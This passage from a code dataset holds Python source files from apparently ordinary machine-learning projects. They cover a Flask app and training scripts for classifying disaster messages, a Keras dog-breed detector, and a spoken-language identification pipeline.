len(vals)>0:\n #print('$$$$$$$$$ ',vals)\n vals = [int(val.strip()) for val in vals.replace('[','').replace(']','').split(' ')]\n df_historical_classifications_categories.loc[i,:] = vals\n temp = df_historical_classifications_categories.sum().sort_values(ascending=False)\n historical_classifications_counts = temp\n historical_classifications_names = list(temp.index)\n \n \n #extract data counts that is originally in english vs translated\n englist_nonenglish = df.loc[:,['message','original']].notna().sum()\n englist_nonenglish.index = ['English','Other']\n englist_nonenglish[0] = englist_nonenglish[0]-englist_nonenglish[1]\n englist_nonenglish_counts = englist_nonenglish\n englist_nonenglish_names = list(englist_nonenglish.index)\n \n \n # corelation of output categories\n df_cats = df[df.columns[4:]]\n corr = df_cats.corr()\n \n corr_values = corr.values\n corr_names = list(corr.index)\n\n \n # create visuals\n # TODO: Below is an example - modify to create your own visuals\n graphs = [\n {\n 'data': [\n Pie(\n labels=genre_names,\n values=genre_counts\n )\n ],\n\n 'layout': {\n 'title': 'Distribution of Message Genres',\n 'yaxis': {\n 'title': \"Count\"\n },\n 'xaxis': {\n 'title': \"Genre\"\n }\n }\n },\n {\n 'data': [\n Bar(\n x=class_names,\n y=class_counts\n )\n ],\n\n 'layout': {\n 'title': 'Distribution of Output Categoreis',\n 'yaxis': {\n 'title': \"Count\"\n },\n 'xaxis': {\n 'title': \"Categories\"\n }\n }\n },\n \n {\n 'data': [\n Pie(\n labels=englist_nonenglish_names,\n values=englist_nonenglish_counts\n )\n ],\n\n 'layout': {\n 'title': 'English vs Non English messages in training data',\n 'yaxis': {\n 'title': \"Count\"\n },\n 'xaxis': {\n 'title': \"Language\"\n }\n }\n },\n\n # corr plot\n {\n 'data': [\n Heatmap(\n x=corr_names,\n y = corr_names,\n z=corr_values,\n )\n ],\n\n 'layout': {\n 'title': 'Features Correlation Matrix',\n 'width': 1200,\n 'height': 900,\n \n }\n },\n # TODO: Add graph for historical prediction counts\n {\n 'data': [\n Bar(\n x=historical_classifications_names,\n y=historical_classifications_counts\n )\n ],\n\n 'layout': {\n 'title': 'Counts of Historical Classification Categories',\n 'yaxis': {\n 'title': \"Count\"\n },\n 'xaxis': {\n 'title': \"Category\"\n }\n }\n }\n ]\n\n # encode plotly graphs in JSON\n ids = [\"graph-{}\".format(i) for i, _ in enumerate(graphs)]\n #print(ids)\n graphJSON = json.dumps(graphs, cls=plotly.utils.PlotlyJSONEncoder)\n\n # render web page with plotly graphs\n return render_template('master.html', ids=ids, graphJSON=graphJSON)\n\n\n# web page that handles user query and displays model results\n@app.route('/go')\ndef go():\n # save user input in query\n query = request.args.get('query', '')\n\n # use model to predict classification for query\n classification_labels = model.predict([query])[0]\n classification_results = dict(zip(df.columns[4:], classification_labels))\n #print(classification_labels)\n\n # TODO: save query and classification_results in classification table of historical_predictions.db\n if save_classification_results(query, classification_labels, db_historical_classifications_path):\n print('classification results saved to db')\n else:\n print('error!...couldnt save classification results saved to db')\n\n # This will render the go.html Please see that file.\n return render_template(\n 'go.html',\n query=query,\n classification_result=classification_results\n )\n\n\ndef main():\n app.run(host='0.0.0.0', port=3001, debug=True)\n\n\nif __name__ == '__main__':\n main()\n\n\n\n\n", "id": "5856681", "language": "Python", "matching_score": 0.748050332069397, "max_stars_count": 0, "path": "app/run.py" }, { "content": "from sklearn.datasets import load_files \nfrom keras.utils import np_utils\nimport numpy as np\nfrom glob import glob\nimport cv2 \nimport matplotlib.pyplot as plt \n\nfrom keras.applications.resnet50 import ResNet50\nfrom keras.preprocessing import image \nfrom tqdm import tqdm\n\nfrom keras.applications.resnet50 import preprocess_input, decode_predictions\n\nfrom models.extract_bottleneck_features import * ############ Need this file\n\nfrom keras.layers import Conv2D, MaxPooling2D, GlobalAveragePooling2D\nfrom keras.layers import Dropout, Flatten, Dense\nfrom keras.models import Sequential\n\n\n# defining models\n# extract pre-trained face detector\nprint('Setting up Face Detection Model...')\nface_cascade = cv2.CascadeClassifier('./models/haarcascade_frontalface_alt.xml') ############ Need this file\n\n# define ResNet50 model\nprint('Setting up Dog Detection Model...')\nResNet50_model = ResNet50(weights='imagenet')\n\n# define InceptionV3 model\nprint('Setting up Dog Breed Identification Model...')\nInceptionV3_model = Sequential()\nInceptionV3_model.add(GlobalAveragePooling2D(input_shape=(5, 5, 2048)))\nInceptionV3_model.add(Dense(133, activation='softmax'))\nInceptionV3_model.load_weights('./models/weights.best.InceptionV3.hdf5')\n\n# laod dog_breeds \ndog_names = np.load('./models/dog_names.npz') ############ Need this file\ndog_names = dog_names['arr_0']\n\n\n# Functions\n\n# returns \"True\" if face is detected in image stored at img_path\ndef face_detector(img_path):\n img = cv2.imread(img_path)\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n faces = face_cascade.detectMultiScale(gray)\n return len(faces) > 0\n\n\n\n\ndef path_to_tensor(img_path):\n # loads RGB image as PIL.Image.Image type\n img = image.load_img(img_path, target_size=(224, 224))\n # convert PIL.Image.Image type to 3D tensor with shape (224, 224, 3)\n x = image.img_to_array(img)\n # convert 3D tensor to 4D tensor with shape (1, 224, 224, 3) and return 4D tensor\n return np.expand_dims(x, axis=0)\n\ndef paths_to_tensor(img_paths):\n list_of_tensors = [path_to_tensor(img_path) for img_path in tqdm(img_paths)]\n return np.vstack(list_of_tensors)\n\n\ndef ResNet50_predict_labels(img_path): # using resenet for dog detection\n # returns prediction vector for image located at img_path\n img = preprocess_input(path_to_tensor(img_path))\n return np.argmax(ResNet50_model.predict(img))\n\n\n### returns \"True\" if a dog is detected in the image stored at img_path\ndef dog_detector(img_path):\n prediction = ResNet50_predict_labels(img_path)\n return ((prediction <= 268) & (prediction >= 151)) \n\n# return predicted dog breed of image\ndef InceptionV3_predict_breed(img_path):\n # extract bottleneck features\n bottleneck_feature = extract_InceptionV3(path_to_tensor(img_path))\n # obtain predicted vector\n predicted_vector = InceptionV3_model.predict(bottleneck_feature)\n # return dog breed that is predicted by the model\n return dog_names[np.argmax(predicted_vector)]\n \n \n \n# algo to check dog breed\ndef detect_dog_breed(img_path):\n '''\n Take input image\n Check if human or dog or none\n if none:\n say no human nor dog found\n elif human:\n run dog breed detector and say human resembles this dog breed\n else:\n run dog breed detector and print dog breed\n \n INPUT:\n img_path: path to input image\n \n OUTPUT:\n dog_breed: name of the dog breed or NONE\n \n '''\n \n \n # detect if human or dog is present in image\n human_present = face_detector(img_path)>0\n dog_present = dog_detector(img_path)\n \n dog_breed = ''\n human_or_dog = ''\n if human_present:\n dog_breed = InceptionV3_predict_breed(img_path)\n #print('Human in image looks like they belongs to following dog breed : ',dog_breed)\n human_or_dog = 'HUMAN'\n \n elif dog_present:\n dog_breed = InceptionV3_predict_breed(img_path)\n #print('Dog in image belongs to following breed: ',dog_breed)\n human_or_dog = 'DOG'\n \n else:\n #print('No Human or Dogs were Detected...')\n dog_breed = 'Unknown'\n human_or_dog = 'Unknown'\n\n return human_or_dog, str(dog_breed)\n \n \n \nif __name__ == '__main__':\n # testing humans\n img = './test_images/human2.jpg'\n print('testing image:',img)\n human_or_dog, dog_breed = detect_dog_breed(img)\n\n if human_or_dog == 'Unknown' and dog_breed == 'Unknown':\n print('No Human or Dog found in image...')\n else:\n print(human_or_dog , ' found in image belonging to',dog_breed, ' breed!' )\n \n \n\n img = './test_images/goat.jpg'\n print('testing image:',img)\n human_or_dog, dog_breed = detect_dog_breed(img)\n if human_or_dog == 'Unknown' and dog_breed == 'Unknown' :\n print('No Human or Dog found in image...')\n else:\n print(human_or_dog , ' found in image belonging to',dog_breed, ' breed!' )", "id": "12726136", "language": "Python", "matching_score": 1.435720443725586, "max_stars_count": 0, "path": "Webapp/dog_breed_detector.py" }, { "content": "# import libraries\nimport sys\nimport pandas as pd\nimport numpy as np\nimport re\nfrom nltk.tokenize import word_tokenize\nfrom nltk.stem import WordNetLemmatizer\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.multioutput import MultiOutputClassifier\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.ensemble import AdaBoostClassifier\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.pipeline import Pipeline, FeatureUnion\nfrom sklearn.base import BaseEstimator, TransformerMixin\nfrom sklearn.feature_extraction.text import CountVectorizer, TfidfTransformer\nfrom sklearn.model_selection import GridSearchCV\nfrom sqlalchemy import create_engine\nimport os\nimport nltk\nfrom sklearn.metrics import classification_report\n\nfrom sklearn.model_selection import ParameterGrid\n\n#from sklearn.externals import joblib\nimport joblib\nimport pickle\n \n\n\n# download\nnltk.download(['punkt', 'wordnet'])\n\n\n\ndef load_data(database_filepath):\n ''' Function that reads data from database and returns X, y and categoriy names\n INPUT:\n database_filepath: string containing path to database\n RETURNS:\n X: numpy array of input values\n y: numpy array of output values\n category_names: list of categories\n '''\n engine = create_engine('sqlite:///' + database_filepath)\n df = pd.read_sql(\"SELECT * FROM data\", engine)\n\n X = df.loc[:,'message'].values\n\n category_names = ['related', 'request', 'offer',\n 'aid_related', 'medical_help', 'medical_products', 'search_and_rescue',\n 'security', 'military', 'child_alone', 'water', 'food', 'shelter',\n 'clothing', 'money', 'missing_people', 'refugees', 'death', 'other_aid',\n 'infrastructure_related', 'transport', 'buildings', 'electricity',\n 'tools', 'hospitals', 'shops', 'aid_centers', 'other_infrastructure',\n 'weather_related', 'floods', 'storm', 'fire', 'earthquake', 'cold',\n 'other_weather', 'direct_report']\n\n Y = df.loc[:,category_names].values\n\n return X, Y, category_names\n \n\nurl_regex = 'http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\\(\\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+'\ndef tokenize(text):\n ''' Function that cleans text by first removing urls and then tokenizes, lemmatizes and lowers each token.\n INPUT:\n text: string containing input text\n RETURNS:\n clean_tokens: list of tokens\n\n '''\n detected_urls = re.findall(url_regex, text)\n for url in detected_urls:\n text = text.replace(url, \"urlplaceholder\")\n\n tokens = word_tokenize(text)\n lemmatizer = WordNetLemmatizer()\n\n clean_tokens = []\n for tok in tokens:\n clean_tok = lemmatizer.lemmatize(tok).lower().strip()\n clean_tokens.append(clean_tok)\n\n return clean_tokens\n\n\ndef build_model():\n '''Function that builds a pipeline, defines grisearcg parameters and then retuns gridsearch model\n INPUT:\n None\n Output:\n cv: Gridsearch model\n\n '''\n pipeline = Pipeline([ ('CountVectorizer',CountVectorizer(tokenizer=tokenize)),\n ('TfidfTransformer',TfidfTransformer()),\n ('clf',MultiOutputClassifier(AdaBoostClassifier() ) )\n ])\n\n # Uncoment below parameters to serch more parameters. Just note that it will increase training time\n parameters = {\n #'CountVectorizer__ngram_range': ((1, 1), (1, 2)), # best(1,2)\n #'CountVectorizer__max_df': (0.5, 0.75, 1.0),#best0.75\n #'clf__estimator__max_features': (None, 5000, 10000), #best5000\n 'clf__estimator__n_estimators': [50,100,150], # best100\n 'clf__estimator__learning_rate' : [0.5,0.75,1,1.25], # best0.75\n }\n print('\\n\\n########################\\n\\n',pipeline.get_params(),'\\n\\n########################\\n\\n')\n cv = GridSearchCV(pipeline, param_grid=parameters,verbose=10)\n #lets see how many grid points are there\n grid = ParameterGrid(parameters)\n print (f\"The total number of parameters-combinations is: {len(grid)}\")\n return cv\n\n \n\n\ndef evaluate_model(model, X_test, Y_test, category_names):\n '''Function that evaluateds the perfoemance of traineid model\n INPUT:\n model: model object\n X_text: test data inputs\n Y_test: test data outputs\n category_names: likst of categories\n RETURNS:\n None\n '''\n y_pred = model.predict(X_test)\n for i,col in enumerate(category_names):\n print('##################### ',col,' ##################### ' )\n print(classification_report(Y_test[:,i], y_pred[:,i]))\n print(\"\\nBest Parameters:\", model.best_params_)\n \n\n\ndef save_model(model, model_filepath):\n '''Save a model to a pickle file\n INPUT:\n model: model object\n model_filepath: model filename and path\n OUTPUT:\n None \n '''\n #pickle.dump(model, open(model_filepath, 'wb'))\n joblib.dump(model, model_filepath,compress=3)\n #joblib.dump(model, 'your_filename.pkl.z') # zlib\n\n\ndef main():\n if len(sys.argv) == 3:\n database_filepath, model_filepath = sys.argv[1:]\n print('Loading data...\\n DATABASE: {}'.format(database_filepath))\n X, Y, category_names = load_data(database_filepath)\n X_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size=0.2)\n \n print('Building model...')\n model = build_model()\n \n print('Training model...')\n model.fit(X_train, Y_train)\n \n print('Evaluating model...')\n evaluate_model(model, X_test, Y_test, category_names)\n\n print('Saving model...\\n MODEL: {}'.format(model_filepath))\n save_model(model, model_filepath)\n\n print('Trained model saved!')\n\n else:\n print('Please provide the filepath of the disaster messages database '\\\n 'as the first argument and the filepath of the pickle file to '\\\n 'save the model to as the second argument. \\n\\nExample: python '\\\n 'train_classifier.py ../data/DisasterResponse.db classifier.pkl')\n\n\nif __name__ == '__main__':\n main()\n", "id": "7730981", "language": "Python", "matching_score": 1.8753459453582764, "max_stars_count": 0, "path": "models/train_classifier.py" }, { "content": "import sys\nimport pandas as pd\nimport numpy as np\nfrom sqlalchemy import create_engine\n\n\ndef load_data(messages_filepath, categories_filepath):\n\n\t'''Reads message and categories data from csv\n\n\tINPUT:\n\tmessages_filepath: name of messages file\n\tcategories_filepath: name of categories file\n\n\tRETURN:\n\tdf: messages and categories merged dataframe\n\n\t'''\n\n\tmessages = pd.read_csv(messages_filepath,encoding = 'utf-8')\n\tcategories = pd.read_csv(categories_filepath,encoding = 'ascii')\n\t\n\t# merge datasets\n\tdf = messages.merge(categories, how='inner', on='id')\n\n\treturn df\n\n\n\ndef clean_data(df):\n\t'''Cleans dataframe by splitting categories into separate category columns, removing duplicates\n\tand onvert category values to just numbers 0 or 1.\n\n\tINPUT:\n\tdf: dataframe\n\tRETURN:\n\tdf: cleaned dataframe\n\n\t'''\n\n # create a dataframe of the 36 individual category columns\n\tcategories = df.categories.str.split(';',expand=True)\n\n\t# select the first row of the categories dataframe\n\trow = categories.loc[0,:]\n\n\t# use this row to extract a list of new column names for categories.\n\t# one way is to apply a lambda function that takes everything \n\t# up to the second to last character of each string with slicing\n\tcategory_colnames = [x.split('-')[0] for x in categories.loc[0,:].tolist()]\n\n\t# rename the columns of `categories`\n\tcategories.columns = category_colnames\n\n\n\t#Convert category values to just numbers 0 or 1.\n\tfor column in categories:\n\t # set each value to be the last character of the string\n\t categories[column] = categories[column].str.split('-',expand=True).loc[:,1]\n\t # convert column from string to numeric\n\t categories[column] = categories[column].astype(int)\n\n\t# drop the original categories column from `df`\n\tdf = df.drop(['categories'], axis=1)\n\n\t# concatenate the original dataframe with the new `categories` dataframe\n\tdf = pd.concat([df,categories],axis=1)\n\n\t# drop duplicates\n\tdf = df.drop_duplicates()\n\n\t# cleaning\n\tdf = df[df.related!=2]\n\t\n\treturn df\n\n\ndef save_data(df, database_filename):\n\t'''Loads dataframe to database\n\n\tINPUT:\n\tdf: dataframe\n\tdatabase_filename: name of database\n\tRETURN:\n\tNONE\n\t'''\n\n\tengine = create_engine('sqlite:///'+ database_filename)\n\tdf.to_sql('data', engine, index=False,if_exists='replace')\n\n\t\n\n\ndef main():\n if len(sys.argv) == 4:\n\n messages_filepath, categories_filepath, database_filepath = sys.argv[1:]\n\n print('Loading data...\\n MESSAGES: {}\\n CATEGORIES: {}'\n .format(messages_filepath, categories_filepath))\n df = load_data(messages_filepath, categories_filepath)\n\n print('Cleaning data...')\n df = clean_data(df)\n \n print('Saving data...\\n DATABASE: {}'.format(database_filepath))\n save_data(df, database_filepath)\n \n print('Cleaned data saved to database!')\n \n else:\n print('Please provide the filepaths of the messages and categories '\\\n 'datasets as the first and second argument respectively, as '\\\n 'well as the filepath of the database to save the cleaned data '\\\n 'to as the third argument. \\n\\nExample: python process_data.py '\\\n 'disaster_messages.csv disaster_categories.csv '\\\n 'DisasterResponse.db')\n\n\nif __name__ == '__main__':\n main()", "id": "8660261", "language": "Python", "matching_score": 1.6638388633728027, "max_stars_count": 0, "path": "data/process_data.py" } ]
1.663839
asrivast13
[ { "content": "import os\nimport glob\nimport shutil\nimport tempfile\n\nimport numpy as np\n\nimport common\nimport features\nimport folds\nfrom audio_toolbox import ffmpeg, sox\nfrom constants import *\n\n\ndef normalize(input_file):\n temp_dir = tempfile.mkdtemp()\n\n transcoded_file = os.path.join(temp_dir, 'transcoded.flac')\n ffmpeg.transcode(input_file, transcoded_file)\n\n if not args.keep_silence:\n trimmed_file = os.path.join(temp_dir, 'trimmed.flac')\n sox.remove_silence(\n transcoded_file,\n trimmed_file,\n min_duration_sec=args.silence_min_duration_sec,\n threshold=args.silence_threshold)\n else:\n trimmed_file = transcoded_file\n\n duration = sox.get_duration(trimmed_file)\n duration = int((duration // FRAGMENT_DURATION) * FRAGMENT_DURATION)\n\n normalized_file = os.path.join(temp_dir, 'normalized.flac')\n sox.normalize(trimmed_file, normalized_file, duration_in_sec=duration)\n\n return normalized_file, temp_dir\n\n\ndef load_samples(normalized_file):\n temp_dir = tempfile.mkdtemp()\n\n fragmented_file = os.path.join(temp_dir, 'fragment@n.flac')\n sox.split(normalized_file, fragmented_file, FRAGMENT_DURATION)\n\n features.process_audio(temp_dir)\n\n samples = []\n for file in glob.glob(os.path.join(temp_dir, '*.npz')):\n sample = np.load(file)[DATA_KEY]\n sample = folds.normalize_fb(sample)\n\n assert sample.shape == INPUT_SHAPE\n assert sample.dtype == DATA_TYPE\n\n samples.append(sample)\n\n samples = np.array(samples)\n\n return samples, temp_dir\n\n\ndef predict(model_file):\n import keras.models\n\n _, languages = common.build_label_binarizer()\n\n model = keras.models.load_model(model_file)\n results = model.predict(samples)\n\n scores = np.zeros(len(languages))\n for result in results:\n scores[np.argmax(result)] += 1\n\n return scores, languages\n\n\ndef clean(paths):\n for path in paths:\n shutil.rmtree(path)\n\n\nif __name__ == \"__main__\":\n import argparse\n\n parser = argparse.ArgumentParser(description='Test the model.')\n parser.add_argument(\n 'input',\n help='a path to an audio file')\n parser.add_argument(\n '--model',\n dest='model',\n help='a path to the H5 model file; the default is `model.h5`')\n parser.add_argument(\n '--silence-threshold',\n dest='silence_threshold',\n type=float,\n help=(\"indicates what sample value you should treat as silence; \"\n \"the default is `0.5`\"))\n parser.add_argument(\n '--silence-min-duration',\n dest='silence_min_duration_sec',\n type=float,\n help=(\"specifies a period of silence that must exist before audio is \"\n \"not copied any more; the default is `0.1`\"))\n parser.add_argument(\n '--keep-silence',\n dest='keep_silence',\n action='store_true',\n help='don\\'t remove silence from samples')\n parser.add_argument(\n '--keep-temp-files',\n dest='keep_temp_files',\n action='store_true',\n help='don\\'t remove temporary files when done')\n parser.add_argument(\n '--verbose',\n dest='verbose',\n action='store_true',\n help='print more logs')\n\n parser.set_defaults(\n model='model.h5',\n keep_silence=False,\n silence_min_duration_sec=0.1,\n silence_threshold=0.5,\n keep_temp_files=False,\n verbose=False)\n\n args = parser.parse_args()\n\n if not args.verbose:\n\n # supress all warnings\n import warnings\n warnings.filterwarnings(\"ignore\")\n\n # supress tensorflow warnings\n os.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\n\n normalized_file, normalized_dir = normalize(args.input)\n samples, samples_dir = load_samples(normalized_file)\n\n if not args.keep_temp_files:\n clean((normalized_dir, samples_dir))\n\n scores, languages = predict(args.model)\n\n total = np.sum(scores)\n for language_idx, language in enumerate(languages):\n score = scores[language_idx]\n print(\"{language}: {percent:.2f}% ({amount:.0f})\".format(\n language=language,\n percent=(score / total) * 100,\n amount=score))\n", "id": "11977674", "language": "Python", "matching_score": 3.7898194789886475, "max_stars_count": 118, "path": "cli.py" }, { "content": "from constants import *\n\nfrom glob import glob\nimport time\nimport re\n\n# supress all warnings (especially matplotlib warnings)\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\n# RANDOMNESS\n# https://machinelearningmastery.com/reproducible-results-neural-networks-keras/\n# https://keras.io/getting-started/faq/#how-can-i-obtain-reproducible-results-using-keras-during-development\n\nimport os\nos.environ['PYTHONHASHSEED'] = '0'\n\nimport random\nrandom.seed(SEED)\n\nimport numpy as np\nnp.random.seed(SEED)\n\n# supress tensorflow debug logs\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\n\n# disable auto tune\n# https://github.com/tensorflow/tensorflow/issues/5048\nos.environ['TF_CUDNN_USE_AUTOTUNE'] = '0'\n\nimport tensorflow as tf\nsession_conf = tf.ConfigProto(\n intra_op_parallelism_threads=1,\n inter_op_parallelism_threads=1)\nfrom keras import backend as K\ntf.set_random_seed(SEED)\nsess = tf.Session(graph=tf.get_default_graph(), config=session_conf)\nK.set_session(sess)\n\nfrom sklearn import preprocessing\nfrom sklearn.metrics import classification_report\n\nfrom keras.models import Model, load_model, Sequential\nfrom keras.layers import Conv2D, MaxPooling2D, AveragePooling2D, Dense, Flatten\nfrom keras.layers import Dropout, Input, Activation\nfrom keras.optimizers import Nadam, SGD\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom keras.utils import np_utils\nfrom keras.callbacks import EarlyStopping, TensorBoard, ModelCheckpoint\nfrom keras.models import load_model\nfrom keras.layers.normalization import BatchNormalization\nfrom keras import regularizers\n\nimport common\n\n\ndef build_model(input_shape):\n model = Sequential()\n\n # 40x1000\n\n model.add(Conv2D(\n 16,\n (3, 3),\n strides=(1, 1),\n padding='same',\n kernel_regularizer=regularizers.l2(0.001),\n input_shape=input_shape))\n model.add(Activation('elu'))\n model.add(MaxPooling2D(pool_size=(3, 3), strides=(2, 2), padding='same'))\n\n # 20x500\n\n model.add(Conv2D(\n 32,\n (3, 3),\n strides=(1, 1),\n padding='same',\n kernel_regularizer=regularizers.l2(0.001)))\n model.add(Activation('elu'))\n model.add(MaxPooling2D(pool_size=(3, 3), strides=(2, 2), padding='same'))\n\n # 10x250\n\n model.add(Conv2D(\n 64,\n (3, 3),\n strides=(1, 1),\n padding='same',\n kernel_regularizer=regularizers.l2(0.001)))\n model.add(Activation('elu'))\n model.add(MaxPooling2D(pool_size=(3, 3), strides=(2, 2), padding='same'))\n\n # 5x125\n\n model.add(Conv2D(\n 128,\n (3, 5),\n strides=(1, 1),\n padding='same',\n kernel_regularizer=regularizers.l2(0.001)))\n model.add(Activation('elu'))\n model.add(MaxPooling2D(pool_size=(3, 5), strides=(1, 5), padding='same'))\n\n # 5x25\n\n model.add(Conv2D(\n 256,\n (3, 5),\n strides=(1, 1),\n padding='same',\n kernel_regularizer=regularizers.l2(0.001)))\n model.add(Activation('elu'))\n model.add(MaxPooling2D(pool_size=(3, 5), strides=(1, 5), padding='same'))\n model.add(AveragePooling2D(\n pool_size=(5, 5),\n strides=(5, 5),\n padding='valid'))\n\n # 1x1\n\n model.add(Flatten())\n\n model.add(Dense(\n 32,\n activation='elu',\n kernel_regularizer=regularizers.l2(0.001)))\n\n model.add(Dropout(0.5))\n\n model.add(Dense(len(LANGUAGES)))\n model.add(Activation('softmax'))\n\n sgd = SGD(lr=0.01, decay=1e-6, momentum=0.0, nesterov=False)\n\n model.compile(\n loss='categorical_crossentropy',\n optimizer=sgd,\n metrics=['accuracy'])\n\n return model\n\n\nif __name__ == \"__main__\":\n import argparse\n\n modelFileName = os.path.join(common.EXPTS_INT, 'model/model.h5')\n foldsFolder = os.path.join(common.EXPTS_INT, 'folds')\n \n parser = argparse.ArgumentParser(description='Train model.')\n parser.add_argument(\n '--test',\n dest='test',\n action='store_true',\n help='test the previously trained model against the test set')\n parser.set_defaults(test=False)\n\n args = parser.parse_args()\n\n input_shape = (FB_HEIGHT, WIDTH, COLOR_DEPTH)\n\n if args.test:\n model = load_model(modelFileName)\n\n input_shape = (FB_HEIGHT, WIDTH, COLOR_DEPTH)\n label_binarizer, clazzes = common.build_label_binarizer()\n\n test_labels, test_features, test_metadata = common.load_data(\n label_binarizer, foldsFolder, 'test', [1], input_shape)\n\n common.test(test_labels, test_features, test_metadata, model, clazzes)\n else:\n accuracies = []\n numFolds = len(glob(os.path.join(foldsFolder, \"train_metadata.fold*.npy\")))\n generator = common.train_generator(\n numFolds, foldsFolder, input_shape, max_iterations=1)\n\n first = True\n for (train_labels,\n train_features,\n test_labels,\n test_features,\n test_metadata,\n clazzes) in generator:\n\n # TODO reset tensorflow\n\n model = build_model(input_shape)\n if first:\n model.summary()\n first = False\n\n checkpoint = ModelCheckpoint(\n modelFileName,\n monitor='val_loss',\n verbose=0,\n save_best_only=True,\n mode='min')\n\n earlystop = EarlyStopping(\n monitor='val_loss',\n min_delta=0,\n patience=3,\n verbose=0,\n mode='auto')\n\n model.fit(\n train_features,\n train_labels,\n epochs=20,\n callbacks=[checkpoint, earlystop],\n verbose=1,\n validation_data=(test_features, test_labels),\n batch_size=8)\n\n model = load_model(modelFileName)\n\n scores = model.evaluate(test_features, test_labels, verbose=0)\n accuracy = scores[1]\n\n print('Accuracy:', accuracy)\n accuracies.append(accuracy)\n\n common.test(\n test_labels,\n test_features,\n test_metadata,\n model,\n clazzes)\n\n accuracies = np.array(accuracies)\n\n print('\\n## Summary\\n')\n print(\"Mean: {mean}, Std {std}\".format(\n mean=accuracies.mean(),\n std=accuracies.std()))\n", "id": "5598660", "language": "Python", "matching_score": 1.7826441526412964, "max_stars_count": 0, "path": "model.py" }, { "content": "import imageio\nfrom glob import glob\nimport os\nimport numpy as np\nfrom sklearn.utils import shuffle\nimport time\nimport speechpy\n\nfrom constants import *\nimport common\n\n\ndef has_uids(uids):\n for language in LANGUAGES:\n for gender in GENDERS:\n if len(uids[language][gender]) == 0:\n return False\n\n return True\n\n\ndef generate_fold(\n uids,\n input_dir,\n input_ext,\n output_dir,\n group,\n fold_index,\n input_shape,\n normalize,\n output_shape):\n\n # pull uid for each a language, gender pair\n fold_uids = []\n for language in LANGUAGES:\n for gender in GENDERS:\n fold_uids.append(uids[language][gender].pop())\n\n # find files for given uids\n fold_files = []\n for fold_uid in fold_uids:\n filename = '*{uid}*{extension}'.format(\n uid=fold_uid,\n extension=input_ext)\n fold_files.extend(glob(os.path.join(input_dir, filename)))\n\n fold_files = sorted(fold_files)\n fold_files = shuffle(fold_files, random_state=SEED)\n\n metadata = []\n\n # create a file array\n filename = \"{group}_data.fold{index}.npy\".format(\n group=group, index=fold_index)\n features = np.memmap(\n os.path.join(output_dir, filename),\n dtype=DATA_TYPE,\n mode='w+',\n shape=(len(fold_files),) + output_shape)\n\n # append data to a file array\n # append metadata to an array\n for index, fold_file in enumerate(fold_files):\n print(fold_file)\n\n filename = common.get_filename(fold_file)\n language = filename.split('_')[0]\n gender = filename.split('_')[1]\n\n data = np.load(fold_file)[DATA_KEY]\n #print(\"Data Stats: {} {} {} {} {}\".format(data.ndim, data.shape, data.size, np.min(data), np.max(data)));\n \n assert data.shape == input_shape\n assert data.dtype == DATA_TYPE\n #print(data[0,])\n\n features[index] = normalize(data)\n #print(features[index][:,0]) \n metadata.append((language, gender, filename))\n\n assert len(metadata) == len(fold_files)\n\n # store metadata in a file\n filename = \"{group}_metadata.fold{index}.npy\".format(\n group=group,\n index=fold_index)\n np.save(\n os.path.join(output_dir, filename),\n metadata)\n\n # flush changes to a disk\n features.flush()\n del features\n\n\ndef generate_folds(\n input_dir,\n input_ext,\n output_dir,\n group,\n input_shape,\n normalize,\n output_shape):\n if not os.path.exists(output_dir):\n os.makedirs(output_dir)\n\n files = glob(os.path.join(input_dir, '*' + input_ext))\n\n #print(files)\n uids = common.group_uids(files)\n #print(uids)\n #print(\"\\n\")\n \n fold_index = 1\n while has_uids(uids):\n print(\"[{group}] Fold {index}\".format(group=group, index=fold_index))\n\n generate_fold(\n uids,\n input_dir,\n input_ext,\n output_dir,\n group,\n fold_index,\n input_shape,\n normalize,\n output_shape)\n\n fold_index += 1\n\n\ndef normalize_fb(spectrogram):\n\n # Mean and Variance Normalization\n spectrogram = speechpy.processing.cmvn(\n spectrogram,\n variance_normalization=True)\n\n # MinMax Scaler, scale values between (0,1)\n normalized = (\n (spectrogram - np.min(spectrogram)) /\n (np.max(spectrogram) - np.min(spectrogram))\n )\n\n # Rotate 90deg\n normalized = np.swapaxes(normalized, 0, 1)\n\n # Reshape, tensor 3d\n (height, width) = normalized.shape\n normalized = normalized.reshape(height, width, COLOR_DEPTH)\n\n assert normalized.dtype == DATA_TYPE\n assert np.max(normalized) == 1.0\n assert np.min(normalized) == 0.0\n\n return normalized\n\n\nif __name__ == \"__main__\":\n start = time.time()\n\n # fb\n generate_folds(\n os.path.join(common.EXPTS_INT, 'test'),\n '.fb.npz',\n output_dir=os.path.join(common.EXPTS_INT, 'folds'),\n group='test',\n input_shape=(WIDTH, FB_HEIGHT),\n normalize=normalize_fb,\n output_shape=(FB_HEIGHT, WIDTH, COLOR_DEPTH)\n )\n generate_folds(\n os.path.join(common.EXPTS_INT, 'train'),\n '.fb.npz',\n output_dir=os.path.join(common.EXPTS_INT, 'folds'),\n group='train',\n input_shape=(WIDTH, FB_HEIGHT),\n normalize=normalize_fb,\n output_shape=(FB_HEIGHT, WIDTH, COLOR_DEPTH)\n )\n\n end = time.time()\n print(\"It took [s]: \", end - start)\n", "id": "972160", "language": "Python", "matching_score": 2.894336462020874, "max_stars_count": 0, "path": "folds.py" }, { "content": "from constants import *\n\nimport os\n\nimport numpy as np\n\nimport pandas as pd\n\nfrom sklearn import preprocessing\nfrom sklearn.metrics import classification_report\n\n\ndef can_ignore(file, key):\n if key in file:\n return True\n return False\n\n\ndef flatten(binary_labels):\n return np.argmax(binary_labels, axis=1)\n\n\ndef test(labels, features, metadata, model, clazzes, title=\"test\"):\n probabilities = model.predict(features, verbose=0)\n\n expected = flatten(labels)\n actual = flatten(probabilities)\n\n print(\"\\n## {title}\\n\".format(title=title))\n\n max_probabilities = np.amax(probabilities, axis=1)\n\n print(\"Average confidence: {average}\\n\".format(\n average=np.mean(max_probabilities)))\n\n errors = pd.DataFrame(np.zeros((len(clazzes), len(GENDERS)), dtype=int),\n index=clazzes, columns=GENDERS)\n threshold_errors = 